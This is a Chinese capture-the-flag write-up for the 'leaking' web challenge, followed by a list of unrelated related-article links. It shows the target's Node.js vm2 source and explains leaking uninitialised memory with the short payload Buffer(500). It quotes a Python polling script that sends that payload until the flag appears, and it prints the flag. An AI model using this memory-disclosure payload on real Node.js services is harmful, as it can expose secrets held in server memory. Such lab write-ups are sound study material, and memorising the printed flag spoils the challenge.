打开网站我们可以看到如下代码

"use strict";var randomstring = require("randomstring");
var express = require("express");
var {VM
} = require("vm2");
var fs = require("fs");var app = express();
var flag = require("./config.js").flagapp.get("/", function(req, res) {res.header("Content-Type", "text/plain");/*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */eval("var flag_" + randomstring.generate(64) + " = \"flag{" + flag + "}\";")if (req.query.data && req.query.data.length <= 12) {var vm = new VM({timeout: 1000});console.log(req.query.data);res.send("eval ->" + vm.run(req.query.data));} else {res.send(fs.readFileSync(__filename).toString());}
});app.listen(3000, function() {console.log("listening on port 3000!");
});

这里涉及到了node.js的知识以及沙箱的知识。

贴几篇文章可以了解一下其中的知识。​​​​​​Node.js沙箱逃逸

浅谈 Node.js安全

首先,通过简单的代码审计我们知道由于存在eval我们是可以在vm2环境中执行命令的,但是会被req.query.data.length限制。

所以我们要思考如何绕过限制。这里涉及到Node.js中的buffer函数

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的 8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存

也就是说,我们可以通过buffer来读取内存,从而绕过限制。

这里贴别人wp的脚本:

# encoding=utf-8import requests
import time
url = 'http://YOURIP:PORT?data=Buffer(500)'
response = ''
while 'flag' not in response:req = requests.get(url)response = req.textprint(req.status_code)time.sleep(0.1)if 'flag{' in response:print(response)break

(小声bb一句这个脚本我不知道为什么执行不了,提示显示ModuleNotFoundError: No module named 'requests'。毕竟自己太菜了,还没学python)

拿到flag

flag{4nother_h34rtbleed_in_n0dejs}

攻防世界xctfweb题leaking题解相关推荐

  1. 攻防世界[刷题笔记]之Web方向(练习区)(后半)

    网络安全学习 攻防世界[刷题笔记] Web方向(新手区)(后半) xff_referer webshell command_execution simple_js 小结 攻防世界[刷题笔记] Web方 ...

  2. 攻防世界Web题 - unseping 总结

    攻防世界Web题 - unseping 总结 1.审题 进入题目,可以看出来是典型的php反序列化题目. 2.源代码分析 <?php highlight_file(__FILE__); //显示 ...

  3. 【ics-05 | mfw】攻防世界CTF题WP

    攻防世界CTF题WP ics-05 所需知识 解题步骤 学习知识 php伪协议(文件包含漏洞中使用) preg_place函数 mfw 所需知识 解题步骤 学习知识 Dirserach工具 GitHa ...

  4. 攻防世界XCTF-WEB入门12题解题报告

    WEB入门题比较适合信息安全专业大一学生,难度低上手快,套路基本都一样 需要掌握: 基本的PHP.Python.JS语法 基本的代理BurpSuite使用 基本的HTTP请求交互过程 基本的安全知识( ...

  5. 攻防世界———MISC 高手区题解

    目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...

  6. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-018(快乐游戏题)

    文章目录 一.快乐游戏题 二.答题步骤 1.无 总结 一.快乐游戏题 文件:攻防世界下载对应文件 二.答题步骤 1.无 这题很简单直接玩游戏就可以得到flag flag:UNCTF{c78391055 ...

  7. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-025(Miscellaneous-200)

    文章目录 一.Miscellaneous-200 二.答题步骤 1.python 总结 一.Miscellaneous-200 文件:攻防世界下载对应文件 二.答题步骤 1.python 下载附件得到 ...

  8. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-030(red_green)

    文章目录 一.red_green 二.答题步骤 1.zsteg 总结 一.red_green 文件:攻防世界下载对应文件 二.答题步骤 1.zsteg 下载得到一张图片 解法一:pytho脚本 #生成 ...

  9. 【愚公系列】2021年11月 攻防世界-进阶题-MISC-032(就在其中)

    文章目录 一.就在其中 二.答题步骤 1.ssl 总结 一.就在其中 文件:攻防世界下载对应文件 二.答题步骤 1.ssl 下载附件得到流量包,使用 binwalk 查看文件中有些什么,发现一个 ke ...

最新文章

  1. java mvc view_对Springmvc view层的理解
  2. 最近微软购买了哪些域名?
  3. 图表控件 c++_用C/C++编写16位虚拟内核
  4. Scala入门到精通——第十三节 高阶函数
  5. primefaces_使用Bean验证扩展PrimeFaces CSV
  6. python在多个组中选一组_python-使用 pandas 在每个groupby组的列中选择最大的N
  7. 简单梳理帆软报表即决策系统的登录步骤 一
  8. MSP430学习笔记10-ADC采集1602显示
  9. ndows外壳公用dll,Windows外壳公用DLL已停止工作
  10. 云服务器与传统服务器的优劣对比_相比于传统服务器,云服务器的优势在哪
  11. 快读代码level.2
  12. 学校图书借阅管理系统
  13. java excel 转 图片_Java 将Excel转为图片、html、XPS、XML、CSV
  14. 【色彩管理】HSI色彩模式详解
  15. C语言等级考试作业,等级考试C语言基础测试题
  16. 2022最新淘客三合一cms商城优惠券系统搭建教程
  17. oracle漏洞pdf,Oracle DBA手记 4 数据安全警示录 pdf完整扫描版版
  18. wps中的word中公式复制完后是图片
  19. 嵌入式计算机 硬盘录像机,嵌入式数字硬盘录像机安装步骤 硬盘安装及使用注意事项【详细介绍】...
  20. 基于PyQt的分组工具

热门文章

  1. 成都计算机考研学校排名,成都十大考研学校排名
  2. 成人计算机学校上海,上海市成人中专学校
  3. 腾讯云服务器5M带宽的实际下载/上传速度是多少?
  4. 多元线性回归的梯度下降
  5. 学会Nginx优化与防盗链预防坏蜀黍
  6. 火狐、chrome浏览器过滤网页广告设置过程
  7. IDA反汇编/反编译静态分析iOS模拟器程序(一)话说IDA
  8. JavaWEB(项目分析用户登录发布新闻)
  9. 豆瓣电台歌曲链接信息
  10. Android跟我一起来开发--微影之开篇